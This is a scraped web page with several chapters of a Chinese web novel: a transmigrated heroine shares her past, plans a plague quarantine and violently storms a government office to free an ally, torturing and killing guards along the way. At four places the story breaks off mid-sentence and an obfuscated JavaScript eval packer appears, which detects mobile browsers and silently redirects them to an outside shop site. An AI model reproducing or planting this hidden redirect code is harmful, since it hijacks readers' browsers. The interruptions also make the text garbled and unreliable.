慕衷情的酒量一般,但也能喝上一些,主要是今日将所有事情说开,她心中卸下了一块大石头,来到这个世界后,她连一个能肆无忌惮说心里话的人都没有。 她就是想和秦澈说一说,从前的自己,从前的生活。 至少在这个世界里,还有一个人知道她该是什么人,该是什么模样。 两坛酒很快就送了上来。 慕衷情直接抱着酒坛喝了一大口,秦澈连忙抢下酒坛,把酒杯往她面前一放:“慢慢喝,慢慢说。” 慕衷情捧着微红的脸,她喝酒上脸,没多久就红了。 “我也叫慕衷情,不过我比这个二小姐幸运许多,我的父母很爱我,对我很好,他们努力挣钱供我读书,想让我走出我们那个小山村,只是他们去世得太早了,没看到我拿到大学的录取通知书。” 自从父母去世以后,慕衷情就一个人生活,读书,邻里和村里的干部时不时会来看她,一直到她考上大学,村里办了一场他们力所能及的盛大的流水席,她离开的那天,几乎所有村里的长辈和孩子都来送她。 这也是为什么,在毕业后她毅然决然地考公,申请回到家乡工作的原因。 “你所在的世界,女子也都可以读书吗?”秦澈自己也喝了一杯酒,听着慕衷情诉说从前,却很难凭空想象那是一个怎样的世界。 “当然,不仅能读书,我们还有九年义务制教育,也就是可以免费读九年的书,不用交学费,不过饭钱什么的还是得自己挣。”慕衷情掰着手指说道,她才喝了没几杯,但看起来却好像快醉了。 “还有呢?”秦澈语气温和,就是听着像是在哄骗什么单纯少女说出自己的秘密。 “但是事情根本没有我想得那么简单,村里人可以在我小时候帮衬我,可当我要回去进行改革的时候,还是遭到了很大的阻力,他们都觉得自己的那套方法才是对的,我是小孩,不能听我的,我花了整整一年啊,一年啊,才算有起色,好不容易可以搞起直播了,我竟然就猝死了。”慕衷情说着说着,凑过去揪起秦澈的领子,“我在最接近成功的前一天猝死了!老天爷为什么要这么捉弄我!” 她很少怨怼什么,从小到大她经历了太多磨难,却也收获了无数的善意和帮助,因此她不会怨天尤人。 唯有这一次穿越,她无比痛恨命运弄人。 秦澈没有她的体会,也知这世上的苦难旁人无法真正感同身受,他只能安静地听着慕衷情继续说。 “来到这里,我天天命悬一线的,总有人想害我,这两个月我都杀过人了,我回不去了,我已经回不去了!”慕衷情说着,忽然大声哭嚎起来,“这里还有皇帝,还要下跪,还要行礼,没有网络,没有手机,没有电脑,连个收割机都没有!我好惨呐我为什么这么惨呐!” 秦澈抬起手,替她轻轻拭去脸上的泪痕。 慕衷情又抱起酒坛喝了好几口,眼神迷离:“我想回家,秦澈,我想回家……” 她的声音低了下去,落下的手打翻了酒坛,酒水顺着她的手流到桌上,又滴落在地上。 秦澈又安静地看了她一会儿,而后起身,拿出帕子替她擦了擦手。 慕衷情的手有些凉,秦澈的手包住了她的手捂了一会儿,确认慕衷情是真的醉倒,短时间内不会醒来后,将人抱上了床,盖上被子。 他坐在桌旁,回想着刚刚慕衷情与他说过的那些事情,难怪从一开始,她就瞧不上姜喧,还一直想让他推翻姜喧的统治。 对慕衷情来说,权势会让她身陷危险,却并非她所惧怕,她不认为姜喧尊贵,正如她不认为秦澈尊贵。 秦澈想了许久,他似乎有些明白,慕衷情口中的平等究竟是什么了。 他一个人,将剩下的酒都慢慢喝完,他仿佛想了很多事情,又仿佛只是做了一个决定。 慕衷情再次醒来的时候,已经是第二天,她一起身,头就有些痛,应该是宿醉的后果。 “不是吧,这身体就这点酒量?”慕衷情想起自己昨天喝的量,被自己震惊。 她下床时才发现自己身上的衣服并没有换,扫视整个房间,也没有见到秦澈,但桌上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200670|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的狼藉已经被收拾干净。 慕衷情叫人端了水盆进来洗漱,还换了一身衣裳,要不是这是古代,她好歹再洗头洗澡把身上的酒味去得干干净净不可。 秦澈回来的时候,就看到慕衷情又在伏案认真写着今天的课程内容。 听到动静,慕衷情抬头看了一眼,然后低头继续自己的事情,自然地问了一句:“回来啦?” “回来了,今早司岳派人来报,蒋羽也回到清州了,一入境他们就发现了,这家伙真是个能人,一路上到处看诊,脚程慢了些,但日子过得比我们滋润多了。”秦澈笑道。 “难怪这么久才回来,我还以为……”慕衷情顿了顿,“算了,不说这个,今天你还是一起去吗?” “嗯,既然蒋羽回来了,这几天我让他也来折柳巷走一趟,给姑娘们再看一次诊。”秦澈提议道。 慕衷情吹了吹纸上的墨迹:“要的,这段时日看诊看得勤些,免得她们瞒着什么,影响往后的生活。” “这课你打算上几天?”秦澈又问道。 慕衷情思索道:“最多一周吧,之后我会挑几个人,让她们自己去给其他人上课。” 她终究只是一个人,这些思想要传播出去,光靠她讲几堂课是不可能的,而且传播出去后所面临的反对声浪,才是真正的挑战。 “王爷,你说,我能成功吗?”慕衷情忽然问道。 秦澈坦诚道:“我不知道,你所讲的那个世界在我看来,还很遥远。” “是啊,太远了。”慕衷情垂下眼眸,“如果我回不去的话,我也只能尽力将这个世界,变得更像后来一点了。” 秦澈望着慕衷情失落的神情,他知道对于慕衷情来说,这里永远都比不上她曾经生活的世界。 他走到慕衷情的身边:“我希望你留在这里,但如果有一天,你能够回去,我希望你得偿所愿。” 慕衷情抬头,抿出一个笑容:“谢谢。” 就在两人说话间,敲门声响起,婢女在外头说道:“王爷,王妃,蒋大夫求见。” 慕衷情与秦澈对视一眼,蒋羽不是才刚刚回来吗?难道发生了什么大事? 44. 四十四、 秦澈与慕衷情在大堂见了蒋羽,蒋羽看起来风尘仆仆的,像是没有怎么休息就直奔王府而来。 一见到两人,蒋羽来不及叙旧,直接说道:“王爷,我在丰州与清州的边界时,途遇一座村庄,村里的人剩得不多了,大多都躺在床上,许多人病死都无人收尸,我查看了几个病人,很有可能是发生了疫病,据他们所说,那些逃走的人大多都往清州而来,我担心……” 秦澈心头一震,连忙问道:“是何疫病?” 蒋羽眉头拧得像是打了一个死结:“应当,是鼠疫。” “什么?!当地的官员在做什么?竟然让发生鼠疫的村子跑出去那么多人?”秦澈怒斥道。 “我去的时候听说,当地的县主一听是鼠疫,早就跑了,这县主一跑,能跑的人自然就都跑了。”蒋羽当时也感到十分震惊,他没有想到,丰州的官员竟然无耻无用到这种程度,发生疫情不仅不及时防治,还直接卷铺盖逃跑。 慕衷情则问道:“那你这几日可有不适?进入疫病的村庄时有没有做好防护?” 蒋羽点头道:“王妃放心,身为医者自当明白,保全自己才能救治更多人,我当时一进村子便发觉有异,用布蒙住口鼻后方才深入查探。” “那就好,王爷,在你们这儿发现疫病通常是如何处理的?”慕衷情没有直接套用自己的经验,而是先问秦澈。 秦澈沉吟道“封村,只进不出,病死的尸体集中焚烧,每个人都待在家中,大夫会挨个去看诊,但你知道的,对于疫病,现在还没有完全能根治的方法,我们只能等着,等他们全部死去被处理,或有人能侥幸活下来。” “这是对的,即使是在我们那儿,也有很多无法解决的病症,对于这种传染病,必须隔离,但现在的问题是,原本的村子在丰州,那些可能携带病毒的村民不知道跑到了哪里,我们得进行排查,蒋羽,感染鼠疫的人,一般多久会病发?”慕衷情问道。 “十天之内。”蒋羽答道。 “十天,那保险一点,至少十五天,我们需要至少十五天的时间去排查可能被传染鼠疫的人,及时隔离病发之人,集中诊治。”慕衷情对秦澈和蒋羽说道,“你们认为如何?有没有办法让百姓配合?人手够不够?” “十五日……怕是有些难。”蒋羽为难地看向秦澈,“我们无法确认村民所在地方,若要十五天将所有人关在家中,那他们的生计怎么办?十五天,足够饿死人了。” 秦澈也想到了这一点,他与慕衷情对视,两人都欲言又止。 慕衷情原本所在的世界也发生过几次大规模疫病,她自然知道怎么解决这个问题,可是这里的人力财力物力都比不上她原本的世界,她不敢保证在这里,那些办法也是良方。 “开仓放粮,以赈灾送粮的方式解决食物问题。”秦澈犹豫后说道,“但往年的八月和九月都会发生水患,我担心十五日过后,再遇水患,清州的救济粮便不够了。” 慕衷情听着就开始焦虑了,她从前也没处理过这样大的事情,但她知道经验和理论不能照搬,秦澈说的方式是最可行的,只是隐患也大,谁也不能保证今年的老天爷突然发善心,不来点水患淹人淹地。 她再次感到自己如此渺小,如此无力,甚至有些迷茫,在这样的一个时代,到底要拥有什么,才能拯救更多的人? 赈灾,赈灾……慕衷情一直在低声重复这两个字,忽然她想到了一件事。 “如果以工代赈呢?” “你是想让他们修堤坝?那不就无法保证他们被隔离开来吗?”秦澈提出疑问。 慕衷情思索着摇头:“不,不是现在,隔离十五天之后,征集人手,加固堤坝,最好有厉害些的懂水利的人,根据清州的容易发生水患洪涝的地方的情况,修建足够的排水渠,之前去田庄时我就发现,水渠的数量远远不够,分布也不够科学。” 秦澈叹道:“这些年各州徭役繁重,京州更是修了不少新的行宫,之前为了减轻徭役负担,清州确是有几年不曾大规模动土了。” 蒋羽颇为焦急地问:“王爷,速下决断吧。” 秦澈看向慕衷情,发现她也期待地望着自己:“几日时间跑不了太远,那便以舟安为界,舟安以北至丰州的城镇均闭门十五日,一律只进不出,家中所有人等登记造册,不得隐瞒收留陌生人等,无家可归者统一登记安置,出门须得蒙住口鼻,家家自行熏蒸,街巷由府衙派人熏蒸消毒,本王会亲自前往边境巡查,有病症者要及时隔离,隐瞒病症、收留疫病者格杀勿论,十五日期间,各地开仓放粮,每户每隔三日可派出一人领粮。” 秦澈顿了一会儿,问道:“你们看还有没有遗漏的部分?” 蒋羽摇摇头,慕衷情则是说:“还有一个问题,我们要不要昭告清州百姓,为何要闭门十五日。” 蒋羽闻言下意识地皱眉:“鼠疫太过可怕,我担心告知以后,百姓恐慌之下,不知会做出些什么。” “即便不告知,忽然要这么多城镇闭门十五日,百姓之间也必有猜测,与其产生更多的谣言,不如如实告知,也好让他们听话,不要乱跑。”秦澈考虑的方面与蒋羽又有所不同。 慕衷情赞同道:“我也认为应当如实告知,不然产生更可怕的谣言,岂不是更加人心惶惶?” 秦澈对蒋羽提议道:“若你担心引起动乱,可以在闭门第二日再将事由告知,这样或许乱子能更少些。” “全凭王爷做主,我只有一个要求,我要与王爷一同前往边境城镇,查看情况。”蒋羽主动请缨。 “那是自然,你是医者,与我同去并无不可。”秦澈一口答应,转而对慕衷情说道,“衷情就留在舟安,与司岳一同守好舟安,吴雨吴雪等人,也听候你的调遣。” “好,我会让舟安,安全度过这十五日。”慕衷情立刻保证道。 接着,秦澈与蒋羽要去安排各项事宜,慕衷情一人前往折柳巷,这一课应该会是最后一课,她准备再增加一些内容进去。 分别前,秦澈对她说道:“一切小心。” 慕衷情朝他点点头,一人上了马车,在车上抽空整理自己的思路,不出意外,明日开始清州便会要求所有城镇闭门十五日,但因为这个朝代的通讯没有那么方便,秦澈肯定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210736|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会优先让人通知丰州和清州边境的城镇,放粮之事也没有那么快能完成,应当会在闭门之后一两日开始。 慕衷情在脑子里快速制定了大概的日期计划,她这段时日对于舟安的其他权力结构并无了解,肯定需要借助司岳的力量,等到今日的课程结束后,她得先去见见司岳。 这一课的时间被慕衷情延长了一半,直到傍晚时分才结束,因为事出紧急,她没有办法再循序渐进地讲述她的理念,用更好的方式让这些姑娘们去理解。 她只能一股脑地把她的理想剖析给她们,或许有人能够接受,或许有人嗤之以鼻,但每个人所求本就不同,慕衷情只能尽力而为。 离开折柳巷后,她便让人带她去见司岳。 司岳除了待在军中外,在城中也有一处住所。 她一个人生活,屋子就在普通的小巷中,四周都是平凡的烟火气,慕衷情走到院门前用力敲了敲门。 “谁呀?”里头传来司岳熟悉的声音。 慕衷情回道:“是我。” 司岳打开门,有些惊讶:“王……” 慕衷情连忙打断她:“我们进去说。” 司岳立刻让开路,随从也跟了进去。 来到屋内,慕衷情观察了一番里头的陈设,虽然简单,但很干净整洁,司岳是有好好地在过自己的生活的。 随从守在院子里,司岳为慕衷情倒了茶水,问道:“王妃今日前来,是为了清州全境闭门十五日之事吗?” “看来你已经知晓前因了,那我也不说废话了,我刚来清州,对这里并不熟悉,可王爷将舟安府这十五日的事宜交予了我,我也不能辜负他的信任,时间紧张,最迟明日要写好告示,通知舟安府的衙门,准备好人手,安排好这十五日的巡逻值班人员,如有需要,可调兵来帮忙,城中一应人员均应登记造册,城门关了之后,明日便不能再轻易打开,守城之人要日夜值守,换班事宜也要安排好,你在舟安应当待了许久吧,这些事情可能需要你去打点了。”慕衷情和司岳讲了自己的安排。 司岳略一思索便道:“王妃放心,今天我便亲自去调人,只是若遇到不肯闭门的百姓,该当如何?” “劝诫为主,实在不听,知道住处的,直接送回去,不知道的,便和乞丐、无家可归者一起安置,直到他自己说出住处为止,从后日起,偷偷溜出门,随意走动者,一次劝诫送回,第二次开始,罚钱。”慕衷情给出解决办法后又补充道,“不过数目不要定得太高,毕竟都是普通百姓,生活不易。” 司岳闻言,脸上带了些笑意:“王妃不愧是王爷如此看重之人,果然与王爷一般心善。” 慕衷情微微挑眉:“此话怎讲?” “王妃应当知道吧,我是从家中逃婚出来,本以为此生飘零,没想到被王爷救下,他还允许我一个女子进入军中为他做事。”司岳谈到秦澈时,目光中满是崇拜。 慕衷情却说:“我问的不是心善,我想问的是,你为何要说‘我不愧是王爷看重之人’,他看不看重我,其实与我是一个怎样的人,并无干系。” 司岳目露疑惑。 45. 四十五、 “司岳,你有想过,往后要如何吗?”慕衷情也替她倒了杯水。 “自然是要继续跟着王爷。”司岳想也不想地回答。 慕衷情摇摇头:“与王爷无关,而是你自己,想要做什么。” 司岳仔细地想了想,而后茫然地说:“我也未曾想过,离开王爷后,我可以做什么,我只是一介女子,除了嫁人生子也不知该如何,可我不想草率地毁了我的一生。” 慕衷情怜惜又欣赏地望着她:“是啊,你能够明白这一点,能够独自逃离身不由己的婚约,已经很勇敢了,明日除了官府的那些事宜,我想你还可以去一趟折柳巷,那些姑娘们,应该会很乐意帮你的忙。” 司岳认真地看着慕衷情,良久说道:“王妃,不知为何,您做的事情,好像总能出乎人意料,我也很想问问王妃,往后您又想如何呢?” 慕衷情立刻侃侃而谈:“我答应过王爷,要帮他提高清州的粮食亩产量,实现军饷军粮的自给自足,这样就不用看朝廷的脸色了,而且这也是我一直想做的事情,就是让百姓过上更好的生活,不再让那些权贵地主们随意欺压他们,除了这些,我还想帮更多如折柳巷里的那些姑娘们一样的女子,过上正常的生活,不过说实话,我不确定自己能做到什么程度,也不确定能有几件事能成功,可是司岳,我很开心我能走在自己的道上。” “……王妃……”司岳震惊地看着慕衷情,她万万没想到,慕衷情竟然还许下过这般豪言壮语,那可是十万兵马的军粮军饷啊。 “你也觉得不可思议是不是?其实如果不是为了保命,我也不敢随口许下这样的承诺。”慕衷情笑道,“我也不怕告诉你,其实一开始我特别怕王爷会因为我的身份杀了我。” “怎么会呢?虽说这场婚事陛下钦点,并非王爷所愿,可王爷绝对不会随意滥杀无辜的。”司岳立刻为秦澈说话。 “现在我知道了,你不觉得无论是折柳巷之事,还是今日之事,但凡王爷是个不在意百姓生死的人,都不可能去做吗?简直是,吃力不讨好。”慕衷情叹道,“你知道吗?我有时候都担心步子迈得太大,反而会连累他。” 两人又聊了些舟安府闭门事宜之后,慕衷情便准备回王府,她刚走出屋门,便听司岳忽然叫住了她。 “王妃,我会努力去找的,我自己热爱的道。” 慕衷情欣慰地朝她一笑,便离开了。 回到王府时,天色已经完全黑了下来,下人一见到慕衷情,便请慕衷情前去用晚膳。 慕衷情这才知道,秦澈一直在等她回来一起吃饭。 “王爷其实不必等我的,万一我跟着司岳一起去办事,半夜才回来怎么办?”一坐下,慕衷情便拿起筷子说道。 秦澈低头浅浅扬起唇角:“无妨,明日我便要离开舟安,今日的晚膳,总该和你一起吃的。” 慕衷情有些疑惑地看了他一眼,这有什么因果关系吗?她没理解。 “成婚之后,我们好像还没有分开过这么多天。”秦澈解释道,“我知你有许多事想做,只是世事无常,往后也未必能够平静,若是三年之后……也不一定非要三年,就要完成这些。” “那就尽力而为,约定总不能随意作废,有一个目标也有动力不是?”慕衷情给他夹了一块肉,“你不用觉得这是在逼我,本来也是我先说的。” 秦澈的手指无意识地扣了一下筷子,他忙了一下午去安排那些临时的事宜,回到王府看着一桌子的菜时,忽然就对这十几日的分离有了些许不舍。 明明才不过一两个月,他却好像已经习惯慕衷情在他耳边说些听不懂的话,时而侃侃而谈,时而骂骂咧咧,有时候好像还挺吵的。 可当他一个人等着慕衷情回来时,秦澈忽然觉得,太安静了。 安静到他回想起从前一直独来独往的自己时,竟有了些孤独的意味。 日落,天黑。 这段时间,秦澈想了很多很多,也终于意识到,这是他第一次这么想等一个人。 “这块令牌,你收着,在清州,见此牌,如见我。”秦澈拿出一块令牌放到桌上。 慕衷情瞅了一眼,毫不客气地收下:“好,有个保障也好。” 然后慕衷情继续大口干饭,秦澈看了她一会儿,忍不住问道:“你有没有什么,想和我说的?” 慕衷情的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13219943|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意力总算到了秦澈身上,她上下打量了一番秦澈,最后说道:“是有些事情要嘱咐你一下,边境城镇肯定是最危险的,即便带着蒋羽也不能掉以轻心,你去巡查也要蒙好口鼻,不要觉得自己身体好就乱来,还有遇到不配合的也不要太心软,鼠疫的伤害实在太大,放过一个,可能就要死一大片人。” 秦澈莫名噎了一下:“这些我都明白,还有吗?” 慕衷情这才察觉到,秦澈似乎有什么期待,但也只察觉到这里。 “嗯……还有,哦对,是还有一个事情,我觉得王爷正好可以借这个机会,去了解一下各个城镇耕地的数量和分布,以及都在谁的手里,以后肯定会用到,不如趁早收集资料。”慕衷情说完还点点头,庆幸自己想起来这件事。 秦澈叹了一口气,没有再追问什么,只说道:“往后不必再叫我王爷,唤我陆离便可。” 慕衷情从善如流:“好好好,记住了,之前叫习惯了,我得再适应适应。” 吃完饭后,慕衷情回到房间,给自己列了十五天大概的工作计划,落实到每一天需要做的事情。 写完后,她用镇纸压好纸张,准备像撕日历一样,干完一天丢一张。 这一天大起大落的,后面还有硬仗要打,慕衷情准备早点睡觉,好好休息一晚。 秦澈一直没有回来,慕衷情念着他今天等她一起吃饭的事情,便给他留了一盏灯。 也不知过了多久,慕衷情迷迷糊糊间听到房间里有些动静,她心道,自己都睡了一觉了,秦澈居然才回来,这天天熬大夜也不知道身体能不能撑得住。 她听到秦澈吹熄灯烛,脱衣躺下,忽然想起晚饭时秦澈问她的话。 不知怎么的,她好像在此时读懂了些什么,可惜她实在是太困,没抓住那点灵感,只是脱口而出。 “陆离,晚安。” 房间内很安静,慕衷情似乎听到秦澈也应了一句“晚安”,而后便又沉沉睡了过去。 独留秦澈一人睁着眼望着屋顶,他抬手摸向自己的胸口,感受着莫名变快的心跳。 秦澈不得不向自己承认,好像真的有些什么,变得不一样了。 46. 四十六、 翌日,慕衷情醒来时便觉得屋内安静得很。 她起身第一眼看向秦澈平日睡着的榻上,整整齐齐,早已没有秦澈的身影。 慕衷情愣了一会儿,随后才起身。 她换了便捷些的男装,又点了几个侍卫跟她一起出门查探。 城中的告示牌上已经贴上了司岳连夜写的告示,慕衷情仔细看了一下,事由和要求都已写明,没有什么问题。 只是时间太早,很多百姓还未看过告示,也没来得及口口相传,传遍舟安府,因此街上来来往往还是有不少人。 她转了一圈,来到舟安府衙门口,说起来,来到舟安府这么久,她都没见过当地的官员。 此时府衙大门紧闭,一切看起来都很正常。 但就是太正常了,才显得不太正常。 若是在往常,并非日日都有大案要审,府衙紧闭也就罢了,可司岳应当已经将闭门十五日的事情告知,府衙却还如此安静,实在有些奇怪。 慕衷情略一思索便道:“走,我们去府衙里看看。” 说着,她便往一旁的小巷走去,其中一个侍卫连忙说道:“王妃,府衙大门在这边。” “我们不走正门,我们去翻墙。”慕衷情摸了摸秦澈给她的令牌,心道,有这玩意在,翻个墙应该没事吧? 侍卫们面面相觑,都觉得疑惑,这大门不走,居然要翻墙?慕衷情可是王妃啊,这样尊贵的身份,去翻墙? 但他们没有提出异议,只是尽忠职守地跟着慕衷情去找适合翻墙的位置。 慕衷情也不挑,反正靠她自己是很难翻过这高墙的,可是她现在带了好几个侍卫,总不能还翻不过去吧。 站在墙边,慕衷情抬头目测高度,估计得有两米多,她看向身后的侍卫,问最高的那个人:“你能把我带上去吗?” 侍卫为难道:“这,王妃,若是属下一人自然是上得去,只是,属下无能,无法带王妃一同上去。” 慕衷情双手抱臂,思索道:“那要不你们先上去两个人,然后再来两个人扎个马步,借我踩一下,上面的人再把我拉上去,怎么样?” 这下不只是最高的侍卫,其他人也都纷纷面露难色。 其中一人说道:“回王妃,属下恕难从命,属下怎能,怎能碰王妃的手。” 慕衷情深吸一口气,刚想说几句,想想他们本来就接受了太多尊卑的概念,已经不只是男女之别这么简单,于是又憋了回去,只把手缩进袖子里,说道:“那这样总行了吧?实在不行给我两块布我把手裹起来总行了吧大哥们?” 她话音刚落,侍卫们哗啦啦跪了一地:“属下不敢。” 慕衷情朝天翻了个白眼,无奈道:“都起来吧,我好好说话,我好好说话行吧,这样,先带我翻个墙好不好?” “是,属下遵命。”几人应声后,其中两人自觉地站到墙根下,扎马步半蹲,另外两个功夫较好的,直接一蹬一跳就上了墙头,慕衷情简直想要鼓掌喝彩。 她扶着墙,边踩到侍卫的腿上边说道:“不好意思啊,如果踩疼了跟我说一下。” 侍卫们没有回话,慕衷情抬手,墙头上的侍卫拉住慕衷情的手腕,一起用力把她拉到墙上。 慕衷情蹲在墙头上往下看,一时间沉默了,从下往上看时还好,从上往下看就觉得要恐高。 眨眼间,另外几人也都身手矫健地跳上了墙头,慕衷情身旁的两名侍卫拉住她的手臂,直接把她带了下去。 慕衷情刚感觉到失重,脚就踩在了地上。 不过她这个位置选得还是不太行。 一站定一抬眼,慕衷情就与几个衙役打扮的人对上了目光。 “这么巧啊。”慕衷情带了人有底气,丝毫不慌,“既然遇到了那请问一下,司岳在这儿吗?” 那些衙役也是没想到这群贸然闯入衙门的家伙敢这么平静地和他们说话,互相对视一眼后,其中一人上前一步,拔刀指向慕衷情:“哪里来的贼人,竟敢擅闯府衙?!” 慕衷情立刻向后退一步,朝前一摆手,身前的两名侍卫也拔刀相向,晚了一步跳下来的侍卫们都没有停下来,直接冲上前,三下五除二便将几名衙役打倒,几人立刻逃离,剩下两个跑得慢的被押到了慕衷情面前。 慕衷情低眼看着跪在自己面前的人,还是觉得十分不得劲,便说道:“让他们站起来吧,不要跪着。” 侍卫们虽然不懂,但照做,把人粗暴地提溜了起来。 慕衷情:“……” “我不为难你们,我只是想问,为何今日府衙紧闭大门?司岳到底来过这里没?”慕衷情说道。 两人再次听到司岳的名字时,眼神飘忽地避开慕衷情的审视。 慕衷情观察到他们不自然的表情,心下一沉,冷声道:“司岳是不是来过这里,她现在在哪里?” 那两名衙役还是不开口,慕衷情深吸一口气,甩了甩手腕,就在所有人都没有反应过来的时候,她抬手就是一巴掌打在两人脸上。 “现在我是用自己的手,下次就不知道是什么了。”说着,慕衷情轻笑一声,将侍卫的剑拿到手中,刀背拍在两人的脸上,一字一句道,“我再问一遍,司岳在哪里?” 这下两人的脸上才露出些恐惧和犹疑的神色,慕衷情见他们迟迟不开口,又担心待会儿那几个跑掉的衙役会带来更多的人,处理起来更麻烦,也担心司岳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233192|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的出事,不想再浪费时间,便狠下心,在其中一人的手臂上划了一刀。 慕衷情似漫不经心在另一人的衣服上擦了擦刀上的血迹,抬眼看着他。 那人终于说道:“在,在,司岳大人还在府衙内!求求您放过我吧!” 慕衷情把刀递回给侍卫:“早这样不就行了?走,带我去找司岳,这个打晕了,留一个就行。” 话音刚落,那名受伤衙役身后的侍卫便一个手刀劈晕了他。 还清醒着的侍卫看了眼地上的同伴,乖乖地为慕衷情带路。 但这里毕竟是府衙的,当差的人不少,哪怕大门紧闭,里头走动的人依然很多。 他们才走了没几步,就看到刚刚逃掉的那几个衙役带着一群守卫朝他们的方向跑了过来。 慕衷情一脚踹在他们押着的那名衙役的身上,侍卫适时松手,那名衙役就滚回到了自家队伍之中。 慕衷情摸着令牌快速思索,司岳在舟安更久,如果他们敢扣留舟安,那自己只靠一块令牌怕也是镇不住的,他们这般做,难道就不怕秦澈回来之后清算他们吗? “都给我拿下!”对面为首的续着长须的中年人一声令下,所有守卫都冲了上来。 侍卫们立刻拔刀与之对抗,慕衷情往后退了两步,下定决心道:“不必留手,找到司岳前,死生不论。” 话音一落,侍卫们的招式明显都狠辣了不少,慕衷情默默拔下一支发簪握在手心,她想,下次她还得让秦澈再给她一把匕首。 就在这时,她的身后不知何时绕过来一个人,将刀抵在她的脖子上,试图威胁道:“都住手,不然我杀了她!” “别管我!”慕衷情看到侍卫们真的有停手的准备,立刻吼道,同时一手往后摸索拽出身后那人的头发,握着簪子的那只手直接刺向对方的脖子。 她听到身后的人传出一声惨叫,对方的手不稳,划破了她的脖颈,但她立刻用力拔出簪子再次刺了进去。 血溅到她的身上,她又用力将簪子在血肉里搅动,用力向下划开对方的脖颈,鲜血瞬间喷涌而出。 慕衷情知道,这人活不了了,这出血量,是划到了大动脉。 当然,这是她故意为之。 慕衷情抹了一把脸,将抖着的手背到身后,咳嗽了两声,但语气坚定:“不用管我,这些家伙来一个我杀一个。” 说着,慕衷情蹲下身拿起刚刚那人的刀,那人的身体还在抽搐,眼神惊恐,他的手捂着脖子,却止不住血。 慕衷情紧紧抓着刀柄,让自己不要抖,冷漠的目光扫过地上的人,看向前方。 “我只要一个活口带我们找到司岳,谁先开口,谁就能活。” 47. 四十七、 王府的侍卫都是精挑细选,仔细训练过的,比之府衙中的守卫,自然是要强上许多。 不一会儿,地上便倒下一片,那为首的中年人还想偷偷逃跑,被其中一个侍卫截住,刀架在脖子上后,那人才知道怕了。 慕衷情拿着刀,半张脸上都是擦不掉的血迹,她走到中年人身边:“司岳在哪儿?” 对方似乎还有盘算,没有立刻开口,慕衷情失去耐性,一刀砍到他的小腿上,声音虽柔和,却让人不寒而栗:“司岳在哪儿?” “王妃饶命,我说我说!”那人一开口便点出了慕衷情的身份,这让慕衷情疑惑更深,同时也更加担心司岳的安危。 因为这说明,这些家伙就是明知他们的身份,却依然要害他们,可这是秦澈的封地,这些不该以秦澈为首吗?为什么要趁秦澈不在做这种事?秦澈即使离开舟安,也不过十几日,难道他们认为十几日之后,秦澈不会回来吗? 纵然有诸多疑惑,此时的慕衷情面上不显,当务之急,还是要确认司岳的安全。 她一边跟着那中年人走,一边思索,如果舟安府府主对秦澈如此不忠不敬,秦澈必然不可能不和自己交代,也不太可能忍气吞声这么久,还让对方管理舟安。 难道不止司岳,连府主也出事了? 慕衷情越想越心惊,如果连府主都出事,那么这些人到底是什么身份,居然能有这么大的能量?他们究竟埋伏舟安多久?背后又是谁在指使? “王妃,这里似乎有些不对劲。”就在慕衷情思考时,身旁的侍卫也察觉到问题,提醒道。 “嗯,都注意着点,这里应该出事了。”慕衷情回道。 侍卫们此时才明白,为何慕衷情非要翻墙进来看一趟,只是她就在门口看了一眼,就知道出事了吗? 王妃不愧是王妃。 慕衷情不知道他们心里已经把自己想得这么厉害了,一边思索一边观察中年人的神情。 “就是这里了,昨晚司岳来这里说要府主开仓放粮,这时节没灾没祸的,怎能随意开仓?不得已,我们才将司岳大人暂时扣下。”中年人带他们来到一间柴房前,说道。 慕衷情微微挑眉:“是吗?” 侍卫刚上前一步,想提醒慕衷情有诈,就见慕衷情抽出身旁侍卫的刀,抵在中年人的大腿上。 “你知道吗?人的大腿上也是有动脉,就像脖子上一样,只要砍对了地方,那血就会像‘唰’地喷出来,止都止不住,然后你就只能看着自己的血一点点流干净,你觉得这样的死法,适合你吗?”说着,慕衷情用力,让刀锋划破对方的皮肤。 